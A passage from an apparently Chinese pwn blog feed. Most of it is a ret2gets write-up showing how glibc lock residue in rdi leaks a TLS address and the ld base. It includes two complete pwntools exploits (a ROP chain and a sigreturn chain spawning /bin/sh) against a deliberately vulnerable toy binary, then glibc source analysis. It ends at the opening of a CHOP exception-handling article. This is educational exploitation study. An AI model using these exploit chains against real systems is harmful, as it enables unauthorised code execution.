&lt;p&gt;之后 &lt;code&gt;gets&lt;/code&gt; 将要返回时会执行解锁函数，按照现在的状态来看的话，我们必定会进入 &lt;code&gt;SINGLE_THREAD_P &amp;amp;&amp;amp; (_name).cnt == 0&lt;/code&gt; 中，这会将 &lt;code&gt;owner&lt;/code&gt; 和 &lt;code&gt;lock&lt;/code&gt; 都清空。那就没法用 puts 泄漏 owner 保存的 TLS 结构体地址了。&lt;/p&gt;
&lt;p&gt;因此我们第一次调用 &lt;code&gt;gets&lt;/code&gt; 可以令 rdi 指向 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;，接着再次调用 &lt;code&gt;gets&lt;/code&gt;，就可以向 rdi 写入数据，写什么呢？肯定是要写能绕过检测的内容咯。&lt;/p&gt;
&lt;p&gt;此时我们不需要管上锁逻辑，只要关注解锁的时候，不要让它把 &lt;code&gt;owner&lt;/code&gt; 清空即可，那首先就应该令 &lt;code&gt;(_name).cnt == 0&lt;/code&gt; 不成立，将 &lt;code&gt;cnt&lt;/code&gt; 填充为四字节垃圾值，此时 else if 也不会进入，而是进入 else 减少 &lt;code&gt;cnt&lt;/code&gt; 的值。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;PS: Reference 中那篇文章这里说要绕过 &lt;code&gt;_IO_lock_lock&lt;/code&gt;，我怀疑作者怕是犯糊涂了，事实上我们这里根本不需要关心如何绕过上锁函数的逻辑……&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;可以看下图，是第二次 gets 后将 &lt;code&gt;cnt&lt;/code&gt; 填充为垃圾字节后的结果，此时 &lt;code&gt;owner&lt;/code&gt; 还持有着一个地址，但并不是 TLS 地址（虽然但是，这并不妨碍我们接下来泄漏 TLS）：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7p3z2o4g2j.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;之后它会将 &lt;code&gt;cnt&lt;/code&gt; 减一，就变成了 &lt;code&gt;0x4141414000000000&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但是此时我们还不能直接通过 &lt;code&gt;puts&lt;/code&gt; 连带泄漏 TLS 地址，因为这里面包含了四个空字节。解决方法是再调用一次 &lt;code&gt;gets&lt;/code&gt;，覆盖 &lt;code&gt;lock&lt;/code&gt; 的值即可。同时，由于再次调用 gets 会再次执行上锁函数，而它将发现 &lt;code&gt;(_name).owner != __self&lt;/code&gt;，进入 else if 分支，将 &lt;code&gt;owner&lt;/code&gt; 重置为正确的 TLS 地址。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你可能会想，为什么不直接在第二次 gets 的时候顺便覆盖 &lt;code&gt;lock&lt;/code&gt; 呢？这是因为 &lt;code&gt;gets&lt;/code&gt; 会在字符串结束后写入 &lt;code&gt;\x00&lt;/code&gt;，破坏 TLS 结构体地址，所以我们需要分多次慢慢来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那么我们输入四个 junk value padding 掉 &lt;code&gt;lock&lt;/code&gt; 就会导致 &lt;code&gt;cnt&lt;/code&gt; 低位变成 &lt;code&gt;\x00&lt;/code&gt;，如下图：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qroz5qju4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但是紧接着就会将 &lt;code&gt;cnt&lt;/code&gt; 自减，&lt;code&gt;\x00&lt;/code&gt; 变成 &lt;code&gt;\xff&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lc708fw6z.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;而此时，我们发现已经不存在截断 &lt;code&gt;puts&lt;/code&gt; 输出的空字节了，此时我们可以直接通过 &lt;code&gt;puts&lt;/code&gt; 输出 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;，这会连带泄漏 TLS 结构体的地址，减掉它与 ld 的固定偏移就拿到 ld 基地址了。同时，由于 ld 中存在大量 gadgets，我们可以尽情抒写 ROP 狂想曲 LOL&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;h3&gt;Manually call execve&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = &quot;./vuln_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
ld = ELF(&quot;./ld-linux-x86-64.so.2&quot;)
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x28,
        elf.plt[&quot;gets&quot;],
        elf.plt[&quot;gets&quot;],
        elf.plt[&quot;puts&quot;],
        elf.sym[&quot;main&quot;],
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;ROP me if you can!&quot;, payload)

    payload = flat(
        p32(0x0),  # lock
        b&quot;A&quot; * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b&quot;BBBB&quot;)

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b&quot;\x00&quot;))
    ld = tls + 0xC8C0
    target.success(f&quot;tls: {hex(tls)}&quot;)
    target.success(f&quot;ld: {hex(ld)}&quot;)

    gets = 0x40114D
    payload = flat(
        b&quot;A&quot; * 0x20,
        elf.bss() + 0xF00,
        gets,
    )
    target.sendlineafter(b&quot;ROP me if you can!&quot;, payload)

    payload = flat(
        b&quot;A&quot; * 0x20,
        b&quot;/bin/sh\x00&quot;,
        ld + rop.find_gadget([&quot;pop rdi&quot;, &quot;pop rbp&quot;, &quot;ret&quot;])[0],
        elf.bss() + 0xF00,
        0x0,
        ld + rop.find_gadget([&quot;pop rsi&quot;, &quot;pop rbp&quot;, &quot;ret&quot;])[0],
        0x0,
        0x404F60,
        ld + rop.find_gadget([&quot;pop rdx&quot;, &quot;leave&quot;, &quot;ret&quot;])[0],
        0x0,
        ld + rop.find_gadget([&quot;pop rax&quot;, &quot;ret&quot;])[0],
        0x3B,
        ld + rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    )
    target.sendline(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using sigreturn&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = &quot;./vuln_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
ld = ELF(&quot;./ld-linux-x86-64.so.2&quot;)
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x28,
        elf.plt[&quot;gets&quot;],
        elf.plt[&quot;gets&quot;],
        elf.plt[&quot;puts&quot;],
        elf.sym[&quot;main&quot;],
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;ROP me if you can!&quot;, payload)

    payload = flat(
        p32(0x0),  # lock
        b&quot;A&quot; * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b&quot;BBBB&quot;)

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b&quot;\x00&quot;))
    ld = tls + 0xC8C0
    target.success(f&quot;tls: {hex(tls)}&quot;)
    target.success(f&quot;ld: {hex(ld)}&quot;)

    gets = 0x40114D
    payload = flat(
        b&quot;A&quot; * 0x20,
        elf.bss(),
        gets,
    )
    target.sendlineafter(b&quot;ROP me if you can!&quot;, payload)

    frame = SigreturnFrame()
    frame.rax = 0x3B
    frame.rdi = elf.bss()
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rip = ld + rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0]

    payload = flat(
        b&quot;A&quot; * 0x20,
        b&quot;/bin/sh\x00&quot;,
        ld + rop.find_gadget([&quot;pop rax&quot;, &quot;ret&quot;])[0],
        0xF,
        ld + rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        bytes(frame),
    )
    target.sendline(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Digging Deeper&lt;/h2&gt;
&lt;h3&gt;RDI != _IO_stdfile_0_lock&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include &amp;lt;stdio.h&amp;gt;

int main() {
  char buf[0x20];
  puts(&quot;ROP me if you can!&quot;);
  gets(buf);
  puts(&quot;No lock for you ;)&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Case 1: RDI is Writable&lt;/h4&gt;
&lt;p&gt;上面这个程序执行 &lt;code&gt;puts&lt;/code&gt; 后 rdi 就不会是 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 了，取而代之的是 &lt;code&gt;_IO_stdfile_1_lock&lt;/code&gt;，但是很好解决啊，我们输入大小又没限制，直接先返回到一次 &lt;code&gt;gets&lt;/code&gt; 重新令 rdi 等于 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;p&gt;:::warning
唯一需要注意的是，返回到 &lt;code&gt;gets&lt;/code&gt; 的话，rdi 必须是可写内存地址，否则会出错。
:::&lt;/p&gt;
&lt;h4&gt;Case 2: RDI is Readonly&lt;/h4&gt;
&lt;p&gt;如果 rdi 是只读地址，我们就不能直接使用 &lt;code&gt;gets&lt;/code&gt; 了。但是我们可以先使用 &lt;code&gt;puts&lt;/code&gt;，这将返回给 rdi &lt;code&gt;_IO_stdfile_1_lock&lt;/code&gt;，然后就可以使用和上面类似的方法继续构造 ROP Chain 。&lt;/p&gt;
&lt;h4&gt;Case 3: RDI == NULL&lt;/h4&gt;
&lt;p&gt;此时大多数 IO 函数都不可用了，不过还是存在例外。&lt;/p&gt;
&lt;h5&gt;printf / scanf&lt;/h5&gt;
&lt;p&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/stdio-common/printf.c&quot;&gt;printf&lt;/a&gt; 的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
__printf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stdout, format, arg, 0);
  va_end (arg);

  return done;
}

#undef _IO_printf
ldbl_strong_alias (__printf, printf);
ldbl_strong_alias (__printf, _IO_printf);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;va_list&lt;/code&gt; 用于声明一个保存当前可变参数列表的指针；&lt;code&gt;va_start (arg, format)&lt;/code&gt; 用于告诉编译器可变参数从 &lt;code&gt;format&lt;/code&gt; 之后开始，它的第二个参数必须是函数参数表里，最后一个已知的固定参数，比如 &lt;code&gt;printf&lt;/code&gt; 中就是 &lt;code&gt;format&lt;/code&gt;；&lt;code&gt;va_end&lt;/code&gt; 会做一些清理工作，结束访问。&lt;/p&gt;
&lt;p&gt;注意到传入 &lt;code&gt;__vfprintf_internal (stdout, format, arg, 0)&lt;/code&gt; 的 rdi 为 &lt;code&gt;stdout&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The FILE-based function.  */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
  /* Orient the stream.  */
#ifdef ORIENT
  ORIENT;
#endif

  /* Sanity check of arguments.  */
  ARGCHECK (s, format);

#ifdef ORIENT
  /* Check for correct orientation.  */
  if (_IO_vtable_offset (s) == 0
      &amp;amp;&amp;amp; _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
      != (sizeof (CHAR_T) == 1 ? -1 : 1))
    /* The stream is already oriented otherwise.  */
    return EOF;
#endif

  if (!_IO_need_lock (s))
    {
      struct Xprintf (buffer_to_file) wrap;
      Xprintf (buffer_to_file_init) (&amp;amp;wrap, s);
      Xprintf_buffer (&amp;amp;wrap.base, format, ap, mode_flags);
      return Xprintf (buffer_to_file_done) (&amp;amp;wrap);
    }

  int done;

  /* Lock stream.  */
  _IO_cleanup_region_start ((void (*) (void *)) &amp;amp;_IO_funlockfile, s);
  _IO_flockfile (s);

  /* Set up the wrapping buffer.  */
  struct Xprintf (buffer_to_file) wrap;
  Xprintf (buffer_to_file_init) (&amp;amp;wrap, s);

  /* Perform the printing operation on the buffer.  */
  Xprintf_buffer (&amp;amp;wrap.base, format, ap, mode_flags);
  done = Xprintf (buffer_to_file_done) (&amp;amp;wrap);

  /* Unlock the stream.  */
  _IO_funlockfile (s);
  _IO_cleanup_region_end (0);

  return done;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们跟进到 &lt;code&gt;ARGCHECK&lt;/code&gt; 后发现，如果 &lt;code&gt;Format == NULL&lt;/code&gt; 它就会让 &lt;code&gt;printf&lt;/code&gt; 提前返回，那我们调用 &lt;code&gt;__vfprintf_internal&lt;/code&gt; 时传入的 rdi 会不会继续残留在原地呢？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define ARGCHECK(S, Format) \
  do                                                     \
    {                                                    \
      /* Check file argument for consistence.  */        \
      CHECK_FILE (S, -1);                                \
      if (S-&amp;gt;_flags &amp;amp; _IO_NO_WRITES)                     \
       {                                                 \
  S-&amp;gt;_flags |= _IO_ERR_SEEN;                             \
  __set_errno (EBADF);                                   \
  return -1;                                             \
       }                                                 \
      if (Format == NULL)                                \
       {                                                 \
  __set_errno (EINVAL);                                  \
  return -1;                                             \
       }                                                 \
    } while (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include &amp;lt;stdio.h&amp;gt;

int main() {
  printf(NULL);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没毛病，rdi 的值还残留着 &lt;code&gt;_IO_2_1_stdout_&lt;/code&gt;，成功令它变成可写地址，那现在就可以像上面一样使用 &lt;code&gt;gets&lt;/code&gt; 了。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3nrzsf095k.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;据说这里能用 FSOP 进行 leak，不过我还没学过，暂时先把参考链接放上来，以后有时间了再研究研究：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://0xdf.gitlab.io/2021/01/16/htb-ropetwo.html#leak-libc&quot;&gt;https://0xdf.gitlab.io/2021/01/16/htb-ropetwo.html#leak-libc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html&quot;&gt;https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vigneshsrao.github.io/posts/babytcache/&quot;&gt;https://vigneshsrao.github.io/posts/babytcache/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;另外，由于 &lt;code&gt;scanf&lt;/code&gt; 和 &lt;code&gt;printf&lt;/code&gt; 类似，就不贴代码了，可以试试 &lt;code&gt;scanf(NULL)&lt;/code&gt;，rdi 应该会保留 &lt;code&gt;_IO_2_1_stdin_&lt;/code&gt;。&lt;/p&gt;
&lt;h5&gt;fflush&lt;/h5&gt;
&lt;p&gt;还有一个比较常见的接收 &lt;code&gt;FILE&lt;/code&gt; 作为第一个参数的函数就是 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/iofflush.c#L31&quot;&gt;fflush&lt;/a&gt; ，当 rdi 是 NULL 时，它会调用 &lt;code&gt;_IO_flush_all&lt;/code&gt; 刷新所有 IO：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int _IO_fflush(FILE *fp) {
  if (fp == NULL)
    return _IO_flush_all();
  else {
    int result;
    CHECK_FILE(fp, EOF);
    _IO_acquire_lock(fp);
    result = _IO_SYNC(fp) ? EOF : 0;
    _IO_release_lock(fp);
    return result;
  }
}
libc_hidden_def(_IO_fflush)

weak_alias (_IO_fflush, fflush)
libc_hidden_weak (fflush)

#ifndef _IO_MTSAFE_IO
strong_alias (_IO_fflush, __fflush_unlocked)
libc_hidden_def (__fflush_unlocked)
weak_alias (_IO_fflush, fflush_unlocked)
libc_hidden_weak (fflush_unlocked)
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int _IO_flush_all(void) {
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg(flush_cleanup);
  _IO_lock_lock(list_all_lock);
#endif

  for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp-&amp;gt;_chain) {
    run_fp = fp;
    _IO_flockfile(fp);

    if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base) ||
         (_IO_vtable_offset(fp) == 0 &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp;
          (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))) &amp;amp;&amp;amp;
        _IO_OVERFLOW(fp, EOF) == EOF)
      result = EOF;

    _IO_funlockfile(fp);
    run_fp = NULL;
  }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock(list_all_lock);
  _IO_cleanup_region_end(0);
#endif

  return result;
}
libc_hidden_def(_IO_flush_all)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_IO_MTSAFE_IO&lt;/code&gt; 中的 &lt;code&gt;MTSAFE&lt;/code&gt; 是 &lt;code&gt;Multi Thread Safe&lt;/code&gt; 的意思，即多线程时 &lt;code&gt;_IO_flush_all&lt;/code&gt; 最后执行的将是 &lt;code&gt;_IO_cleanup_region_end (0)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;单线程时最后执行的是 &lt;code&gt;_IO_funlockfile (fp)&lt;/code&gt;，这和我们之前看到的一样，rdi 肯定会残留锁。&lt;/p&gt;
&lt;p&gt;我们主要关注 &lt;code&gt;_IO_cleanup_region_end (0)&lt;/code&gt; 执行完 rdi 残留的是什么内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_cleanup_region_end(_doit) \
  __libc_cleanup_region_end (_doit)

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT)  \
  if (_cleanup_start_doit)                    \
    __libc_cleanup_pop_restore (&amp;amp;_buffer);    \
  if (DOIT)                                   \
    _cleanup_routine (_buffer.__arg);         \
  } /* matches __libc_cleanup_region_start */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/nptl/libc-cleanup.c#L53&quot;&gt;__libc_cleanup_pop_restore&lt;/a&gt; 接受 &lt;code&gt;_buffer&lt;/code&gt; 地址作为参数，这是一个位于可写区域的地址，因此我们又成功得到了可写的 rdi，可以继续通过上面的 gets 完成接下来的 ROP 了。&lt;code&gt;_cleanup_routine&lt;/code&gt; 也是同理。&lt;/p&gt;
&lt;h4&gt;Case 4: RDI is Junk&lt;/h4&gt;
&lt;h5&gt;rand&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;rand&lt;/code&gt; 虽然不是 IO 函数，但它会在 rdi 内残留一个指向 &lt;code&gt;unsafe_state&lt;/code&gt; 结构体的指针，适用于各种版本的 libc 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long int __random(void) {
  int32_t retval;
  __libc_lock_lock(lock);
  (void)__random_r(&amp;amp;unsafe_state, &amp;amp;retval);
  __libc_lock_unlock(lock);

  return retval;
}

weak_alias(__random, random)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;getchar&lt;/h5&gt;
&lt;p&gt;理论上，&lt;code&gt;getchar&lt;/code&gt; 是完美的。因为参数无关紧要，而且由于 IO 函数通常在最后才会解锁，所以它们会在 rdi 中残留一个锁（&lt;code&gt;getchar&lt;/code&gt; 会返回 &lt;code&gt;_IO_stdfile_0_lock_&lt;/code&gt;）。可惜的是，这里存在一个优化：&lt;code&gt;_IO_need_lock&lt;/code&gt; 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int getchar(void) {
  int result;
  if (!_IO_need_lock(stdin))
    return _IO_getc_unlocked(stdin);
  _IO_acquire_lock(stdin);
  result = _IO_getc_unlocked(stdin);
  _IO_release_lock(stdin);
  return result;
}

#ifndef _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias(getchar, getchar_unlocked)
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 &lt;code&gt;((_fp)-&amp;gt;_flags2 &amp;amp; _IO_FLAGS2_NEED_LOCK) != 0&lt;/code&gt;，则说明需要加锁。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_need_lock(_fp) \
  (((_fp)-&amp;gt;_flags2 &amp;amp; _IO_FLAGS2_NEED_LOCK) != 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;否则会进入 if，执行 &lt;code&gt;_IO_getc_unlocked&lt;/code&gt;，发现执行的过程中还会调用别的函数，最后执行完并没有在 rdi 中残留什么有用的东西。&lt;/p&gt;
&lt;p&gt;此外，根据引用我们推测，下面这些函数可能也存在同样的问题，不过还是需要自己去看代码才能确定。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5treegc8sj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;下面是多线程版本，&lt;code&gt;getchar&lt;/code&gt; 最终结束后 rdi 中会残留 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void *thread_function(void *arg);

int main() {
  pthread_t tids[2];
  int ret;

  ret = pthread_create(&amp;amp;tids[0], NULL, thread_function, (void *)1);
  if (ret != 0) {
    perror(&quot;pthread_create 1 failed&quot;);
    exit(EXIT_FAILURE);
  }

  ret = pthread_create(&amp;amp;tids[1], NULL, thread_function, (void *)2);
  if (ret != 0) {
    perror(&quot;pthread_create 2 failed&quot;);
    exit(EXIT_FAILURE);
  }

  pthread_join(tids[0], NULL);
  pthread_join(tids[1], NULL);

  return 0;
}

void *thread_function(void *arg) {
  getchar();

  pthread_exit(NULL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当创建线程时，会调用 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/genops.c#L553&quot;&gt;_IO_enable_locks&lt;/a&gt;，以确保所有新旧 IO 都设置了 &lt;code&gt;_IO_FLAGS2_NEED_LOCK&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* In a single-threaded process most stdio locks can be omitted.  After
   _IO_enable_locks is called, locks are not optimized away any more.
   It must be first called while the process is still single-threaded.

   This lock optimization can be disabled on a per-file basis by setting
   _IO_FLAGS2_NEED_LOCK, because a file can have user-defined callbacks
   or can be locked with flockfile and then a thread may be created
   between a lock and unlock, so omitting the lock is not valid.

   Here we have to make sure that the flag is set on all existing files
   and files created later.  */
void _IO_enable_locks(void) {
  _IO_ITER i;

  if (stdio_needs_locking)
    return;
  stdio_needs_locking = 1;
  for (i = _IO_iter_begin(); i != _IO_iter_end(); i = _IO_iter_next(i))
    _IO_iter_file(i)-&amp;gt;_flags2 |= _IO_FLAGS2_NEED_LOCK;
}
libc_hidden_def(_IO_enable_locks)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有个想法是手动篡改 &lt;code&gt;_IO_FLAGS2_NEED_LOCK&lt;/code&gt; 的值，不知道行不行，反正我还没遇到过，后面自己研究研究吧。&lt;/p&gt;
&lt;h5&gt;putchar&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;int putchar(int c) {
  int result;
  _IO_acquire_lock(stdout);
  result = _IO_putc_unlocked(c, stdout);
  _IO_release_lock(stdout);
  return result;
}

#if defined weak_alias &amp;amp;&amp;amp; !defined _IO_MTSAFE_IO
#undef putchar_unlocked
weak_alias(putchar, putchar_unlocked)
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数就不管是不是多线程都会有残留了，不过也有限制，它要求 rdi 中必须是一个 char，或者 int 。不过感觉大多数情况下应该都不会有问题？不管了，等哪天有幸遇到再说对不对。&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets&quot;&gt;ret2gets&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>CHOP Suey: 端上异常处理的攻击盛宴</title><link>https://cubeyond.net/posts/pwn-notes/catch-handler-oriented-programming-notes/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/catch-handler-oriented-programming-notes/</guid><description>Try-Catch, Catch Me If You Can: 异常的刀锋之 Catch Handler Oriented Programming 学习小记。</description><pubDate>Tue, 23 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;今天刚复现完 2024 年羊城杯的 &lt;a href=&quot;/posts/write-ups/2024-%E7%BE%8A%E5%9F%8E%E6%9D%AF/#logger&quot;&gt;logger&lt;/a&gt;，一道简单的涉及 C++ 异常处理机制的缓冲区溢出题，感觉还挺有意思，了解了一下发现有一种专门针对于异常处理而发展出来的 ROP 手法，叫做 &lt;code&gt;CHOP (Catch Handler Oriented Programming)&lt;/code&gt;，也有称其为 &lt;code&gt;EOP (Exception Oriented Programming)&lt;/code&gt; 的，这里我就直接沿袭原论文中的命名了。我也是参考了多方博客学习的，现在打算自己写一篇，以增强个人理解。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;PS: 等有空了我想好好研读一下那篇论文，体验一下搞科研的感觉是什么样的（bushi&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;:::important
本文将主要研究如何通过缓冲区溢出漏洞，利用 Linux 下的 C++ 异常处理机制，跳转到任意 catch 流，执行任意函数。但这并不意味着只有 C++ 中的异常处理机制可以被利用，至少我看原作者的演讲，好像说其它语言中的异常处理机制同样存在类似的问题。&lt;/p&gt;
&lt;p&gt;暂时不打算对异常处理及 unwind 的过程做详细分析，只做简单介绍。日后有时间我会再单独写篇博客深入 unwind 的内部实现，剖析其原理。~&lt;em&gt;所以这里就先占个坑/逃&lt;/em&gt;~
:::&lt;/p&gt;
&lt;h2&gt;因果之链：异常展开的轨迹&lt;/h2&gt;
&lt;h3&gt;C++ 异常处理的编程思想&lt;/h3&gt;
&lt;p&gt;假设你略懂 C++ 中的 try catch 语法。不懂也没事，因为其它语言中异常的捕获与处理思想也类似。&lt;/p&gt;
&lt;p&gt;以防有同学真的不了解异常处理的大致编程思想，我这里就简单提一嘴 C++ 中的 try catch 吧，~&lt;em&gt;虽然我其实并不会 C++/逃&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;一般对于可能发生异常的代码我们会使用 &lt;code&gt;try&lt;/code&gt; 将其包裹；如果异常真的发生了，我们会通过 &lt;code&gt;throw&lt;/code&gt; 将异常抛出，通知程序不要继续往下执行了，先去处理异常；而 throw 抛出的异常必定需要通过某种方式被识别吧？那就用到了 &lt;code&gt;catch&lt;/code&gt;。catch 是有要求的，不是什么样的异常都可以进入同一个 catch 中。一般 throw 的时候会确定异常类型，比如是抛出了一个整形还是字符串，接着 catch 就会根据不同类型的异常而选择不同的 handler 用于处理；最终，处理完异常后程序可能会恢复执行（一般应该是从 catch 语句块之后接着执行）。&lt;/p&gt;
&lt;h3&gt;C++ 异常处理的基本流程&lt;/h3&gt;
&lt;p&gt;当 &lt;code&gt;throw&lt;/code&gt; 发生时，程序大致会做这么几件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;寻找合适的 &lt;code&gt;catch&lt;/code&gt;
&lt;ul&gt;
